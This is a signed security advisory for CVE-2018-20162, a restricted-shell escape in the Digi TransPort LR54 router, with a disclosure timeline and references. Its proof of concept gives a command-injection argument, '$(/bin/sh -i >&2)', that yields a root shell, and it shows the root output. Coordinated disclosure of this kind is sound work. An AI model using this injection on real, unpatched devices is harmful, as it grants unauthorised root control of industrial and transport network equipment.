Digi TransPort LR54 Restricted Shell Escape

2019-02-19 / 2019-03-14
Risk: High
Local: Yes
Remote: No

CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 CVE-2018-20162: Digi TransPort LR54 Restricted Shell Escape =========================================================== The Digi TransPort LR54 is a high speed LTE router commonly used by industry, infrastructure, retail and public transportation. It supports running python scripts in a restricted sandbox, and has a custom shell accessible over SSH which is subjected to the same restrictions. The underlying OS is inaccessible to the administrator. Iave found a way to break out of the sandbox and obtaining a root shell by exploiting the way the cli handles command line arguments when executing python scripts: When an interactive python process receives a SIGINT (trough CTRL-C), arguments to the script are not properly escaped when passed to the interactive CLIas error logging handler. This allows an attacker to execute arbitrary commands as root. To exploit this vulnerability, an attacker needs to have interactive CLI access with asupera privileges. A user with this access level is enabled by default on the device. Vulnerable - ---------- Digi Transport LR54 (and maybe related products like WR64 and WR54) Firmware Version : 10/29/2018 21:14:06 Firmware Version : 09/06/2018 00:58:34 And maybe earlier versions Migitation - ---------- Users should upgrade to firmware version or newer. Proof of Concept - ---------------- 1. Upload sleep.py to the LR54 using scp or sftp, containing: import time;time.sleep(10) 2. Execute the following command in the LR54 cli: python sleep.py --XXX $(/bin/sh -i >&2) 3. Immediately press CTRL-C after the program starts 4. You are then dropped to an interactive root shel l /home/digi/user # uname -a Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux /home/digi/user # id uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super) Timeline - -------- 2018-12-13: Vulnerability discovered 2018-12-14: PoC created, Vendor notified 2018-12-14: Vendor confirmed, 60 day embargo. Applied for CVE. 2018-12-15: CVE-2018-20162 assigned 2018-12-31: Received pre-release firmware. Confirmed not vulnerable. 2019-01-02: Vendor releases fixed firmware 2019-01-25: Vendor updated release notes to reference CVE-2018-20162 2019-02-13: Vendor okaed disclosure, Embargo lifted References - ---------- https://www.digi.com/products/networking/cellular-routers/digi-transport-lr54 http://ftp1.digi.com/support/firmware/transport/LR54/v4.5.1.4/93001306_L.pdf https://www.digi.com/resources/security https://blog.hackeriet.no/cve-2018-20162-digi-lr54-restricted-shell-escape https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20162 Credits - ------- Vulnerability discovered by Stig Palmquist. Thanks to @duniel_pls and @alexanderkjall for reviewing this report. -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEj7OMIAQn+GdSU5z5EMg4owYJR3UFAlxpeAsACgkQEMg4owYJ R3XfMg//UDSALVhqqLc2Y7Yn8DxVOnSiFuobwPlseSKw0MigNbDbyBH6q8S9ozbe n1razr2tpPQPx24MGqniGxsKGDi+b0S1zayQxy2TePUA5B5axOuiZZt9qWIKeWHA HnAgjXN3x7Zv1yavJ/GxxlHJXOUCbOpMTeF32E26J4MssTJyEF1Q3p5YiF+/V2/b ne5x4hKsMbKpMmHSdCEb3CawqSZOl7/Wh8j/N5WayLTei7WBp8q9xVxBUBhpK1JR xUAClpsaiIKSSga1Q/QfXG9sTr/8/Kz6Mc3TD2YhZkEsujNP77N4ZwqByYB3wSMI B8MCrprIJUgGoiYlfg3yehXnj+SEkMgDXExPcy4B69sutCrXmfqfwh7EzynHgFDe mOPvpuYdHsxsWekoU8HN+Oux1iuJek0S5XL+5Lo/P+Tp1JXQ9dQU3wRN3ZfpjKqQ rP9jJDJVwE2rZHGsYyvMYvHZG0iPPLlq9T855z/13aZ7YDkRx5tvVb4m7ZVNLuxz 6Z+J3CGktlPrilID6YBwrC+FotoAvJGrvWaYHXNEl7sQc5SJbazdZrQHBRF/i3zN 1sntgI2AYyH7kx+hEwFkoaDaCM+Xsfm5sBJ9QC8OKZ315RYWvJAS0HXG1lmyXFYo u15TlfvsA9PcnAeHT4c/jLf24C8YyaFQ3YiZMmfnw12uiH+eOKE= =zEym -----END PGP SIGNATURE-----

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